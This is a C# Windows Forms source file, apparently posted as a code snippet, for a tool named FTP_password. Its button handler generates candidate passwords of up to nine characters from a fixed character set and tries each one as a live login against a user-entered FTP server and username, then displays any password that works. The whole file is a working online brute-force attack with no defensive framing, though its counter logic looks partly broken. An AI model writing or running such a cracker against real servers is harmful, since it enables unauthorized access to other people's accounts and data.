Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace FTP_password
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void crack_Click(object sender, EventArgs e)
{
bool correct = false;
progressBar1.Step = 1;
progressBar1.Maximum = 100;
progressBar1.Minimum = 0;
progressBar1.Value = 0;
int bijop = 0;
int bijop2 = 0;
int bijop3 = 0;
int bijop4 = 0;
int bijop5 = 0;
int bijop6 = 0;
int bijop7 = 0;
int bijop8 = 0;
string alfabet = "alien1990";
double tweelettersaant = Math.Pow(Convert.ToDouble(alfabet.Length),2) + (alfabet.Length - 1);
double drielettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 3) + tweelettersaant;
double vierlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 4) + drielettersaant;
double vijflettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 5) + vierlettersaant;
double zeslettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 6) + vijflettersaant;
double zevenlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 7) + zeslettersaant;
double achtlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length),8) + zevenlettersaant;
double negenlettersaant = Math.Pow(Convert.ToDouble(alfabet.Length), 9) + achtlettersaant;
string test = "";
int tweeletters = 0;
int drieletters1 = 0;
int drieletters2 = 0;
int vierletters1 = 0;
int vierletters2 = 0;
int vierletters3 = 0;
int vijfletters1 = 0;
int vijfletters2 = 0;
int vijfletters3 = 0;
int vijfletters4 = 0;
int zesletters1 = 0;
int zesletters2 = 0;
int zesletters3 = 0;
int zesletters4 = 0;
int zesletters5 = 0;
int zevenletters1 = 0;
int zevenletters2 = 0;
int zevenletters3 = 0;
int zevenletters4 = 0;
int zevenletters5 = 0;
int zevenletters6 = 0;
int achtletters1 = 0;
int achtletters2 = 0;
int achtletters3 = 0;
int achtletters4 = 0;
int achtletters5 = 0;
int achtletters6 = 0;
int achtletters7 = 0;
int negenletters1 = 0;
int negenletters2 = 0;
int negenletters3 = 0;
int negenletters4 = 0;
int negenletters5 = 0;
int negenletters6 = 0;
int negenletters7 = 0;
int negenletters8 = 0;
for (int i = Convert.ToInt32(vijflettersaant) + 1; i <= negenlettersaant; i++)
{
//i = 5799;
//listBox1.Items.Add(i + " passwords tried.");
/*
if (i == negenlettersaant / 100 * progressBar1.Value)
progressBar1.PerformStep();
}
*/
//progressBar1.PerformStep();
if (i <= (alfabet.Length - 1))
{
test = alfabet.Substring(i, 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
}
if (i > (alfabet.Length -1) && i <= tweelettersaant)
{
test = alfabet.Substring(tweeletters, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test,Usertext.Text,Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username "+ Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
tweeletters++;
bijop = 0;
}
//progressBar1.PerformStep();
}
if (i > tweelettersaant && i <= drielettersaant)
{
test = alfabet.Substring(drieletters1, 1)
+ alfabet.Substring(drieletters2, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
drieletters2++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
drieletters1++;
drieletters2 = 0;
bijop2 = 0;
}
//progressBar1.PerformStep();
}
if (i > drielettersaant && i <= vierlettersaant)
{
test = alfabet.Substring(vierletters1, 1)
+ alfabet.Substring(vierletters2, 1)
+ alfabet.Substring(vierletters3, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
vierletters3++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
vierletters2++;
vierletters3 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
vierletters1++;
vierletters2 = 0;
bijop3 = 0;
}
//progressBar1.PerformStep();
}
if (i > vierlettersaant && i <= vijflettersaant)
{
test = alfabet.Substring(vijfletters1, 1)
+ alfabet.Substring(vijfletters2, 1)
+ alfabet.Substring(vijfletters3, 1)
+ alfabet.Substring(vijfletters4, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
vijfletters4++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
vijfletters3++;
vijfletters4 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
vijfletters2++;
vijfletters3 = 0;
bijop3 = 0;
bijop4++;
}
if (bijop4 == alfabet.Length)
{
vijfletters1++;
vijfletters2 = 0;
bijop4 = 0;
}
//progressBar1.PerformStep();
}
if (i > vijflettersaant && i <= zeslettersaant)
{
test = alfabet.Substring(zesletters1, 1)
+ alfabet.Substring(zesletters2, 1)
+ alfabet.Substring(zesletters3, 1)
+ alfabet.Substring(zesletters4, 1)
+ alfabet.Substring(zesletters5, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
zesletters5++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
zesletters4++;
zesletters5 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
zesletters3++;
zesletters4 = 0;
bijop3 = 0;
bijop4++;
}
if (bijop4 == alfabet.Length)
{
zesletters2++;
zesletters3 = 0;
bijop4 = 0;
bijop5++;
}
if (bijop5 == alfabet.Length)
{
zesletters1++;
zesletters2 = 0;
bijop5 = 0;
}
}
if (i > zeslettersaant && i <= zevenlettersaant)
{
test = alfabet.Substring(zevenletters1, 1)
+ alfabet.Substring(zevenletters2, 1)
+ alfabet.Substring(zevenletters3, 1)
+ alfabet.Substring(zevenletters4, 1)
+ alfabet.Substring(zevenletters5, 1)
+ alfabet.Substring(zevenletters6, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
zevenletters6++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
zevenletters5++;
zevenletters6 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
zevenletters4++;
zevenletters5 = 0;
bijop3 = 0;
bijop4++;
}
if (bijop4 == alfabet.Length)
{
zevenletters3++;
zevenletters4 = 0;
bijop4 = 0;
bijop5++;
}
if (bijop5 == alfabet.Length)
{
zevenletters2++;
zevenletters3 = 0;
bijop5 = 0;
bijop6++;
}
if (bijop6 == alfabet.Length)
{
zevenletters1++;
zevenletters2 = 0;
bijop6 = 0;
}
}
if (i > zevenlettersaant && i <= achtlettersaant)
{
test = alfabet.Substring(achtletters1, 1)
+ alfabet.Substring(achtletters2, 1)
+ alfabet.Substring(achtletters3, 1)
+ alfabet.Substring(achtletters4, 1)
+ alfabet.Substring(achtletters5, 1)
+ alfabet.Substring(achtletters6, 1)
+ alfabet.Substring(achtletters7, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
achtletters7++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
achtletters6++;
achtletters7 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
achtletters5++;
achtletters6 = 0;
bijop3 = 0;
bijop4++;
}
if (bijop4 == alfabet.Length)
{
achtletters4++;
achtletters5 = 0;
bijop4 = 0;
bijop5++;
}
if (bijop5 == alfabet.Length)
{
achtletters3++;
achtletters4 = 0;
bijop5 = 0;
bijop6++;
}
if (bijop6 == alfabet.Length)
{
achtletters2++;
achtletters3 = 0;
bijop6 = 0;
bijop7++;
}
if (bijop7 == alfabet.Length)
{
achtletters1++;
achtletters2 = 0;
bijop7 = 0;
}
}
if (i > achtlettersaant && i <= negenlettersaant)
{
test = alfabet.Substring(negenletters1, 1)
+ alfabet.Substring(negenletters2, 1)
+ alfabet.Substring(negenletters3, 1)
+ alfabet.Substring(negenletters4, 1)
+ alfabet.Substring(negenletters5, 1)
+ alfabet.Substring(negenletters6, 1)
+ alfabet.Substring(negenletters7, 1)
+ alfabet.Substring(negenletters8, 1)
+ alfabet.Substring((i % alfabet.Length), 1);
if (Ftpcheck(test, Usertext.Text, Servertext.Text))
{
correct = true;
MessageBox.Show("password of server " + Servertext.Text + " with username " + Usertext.Text + " is " + test);
break;
}
bijop++;
if (bijop == alfabet.Length)
{
negenletters8++;
bijop = 0;
bijop2++;
}
if (bijop2 == alfabet.Length)
{
negenletters7++;
negenletters8 = 0;
bijop2 = 0;
bijop3++;
}
if (bijop3 == alfabet.Length)
{
negenletters6++;
negenletters7 = 0;
bijop3 = 0;
bijop4++;
}
if (bijop4 == alfabet.Length)
{
negenletters5++;
negenletters6 = 0;
bijop4 = 0;
bijop5++;
}
if (bijop5 == alfabet.Length)
{
negenletters4++;
negenletters5 = 0;
bijop5 = 0;
bijop6++;
}
if (bijop6 == alfabet.Length)
{
negenletters3++;
negenletters4 = 0;
bijop6 = 0;
bijop7++;
}
if (bijop7 == alfabet.Length)
{
negenletters2++;
negenletters3 = 0;
bijop7 = 0;
bijop8++;
}
if (bijop8 == alfabet.Length)
{
negenletters1++;
negenletters2 = 0;
bijop8 = 0;
}
}
}
if (correct == false)
{
MessageBox.Show("no passwords found");
}
}//end button click
public bool Ftpcheck(string ftpPassword, string ftpUserID, string ftpServer)
{
bool succes;
Chilkat.Ftp2 ftp = new Chilkat.Ftp2();
ftp.Hostname = ftpServer;
ftp.Username = ftpUserID;
ftp.Password = ftpPassword;
succes = ftp.Connect();
return succes;
}
}
}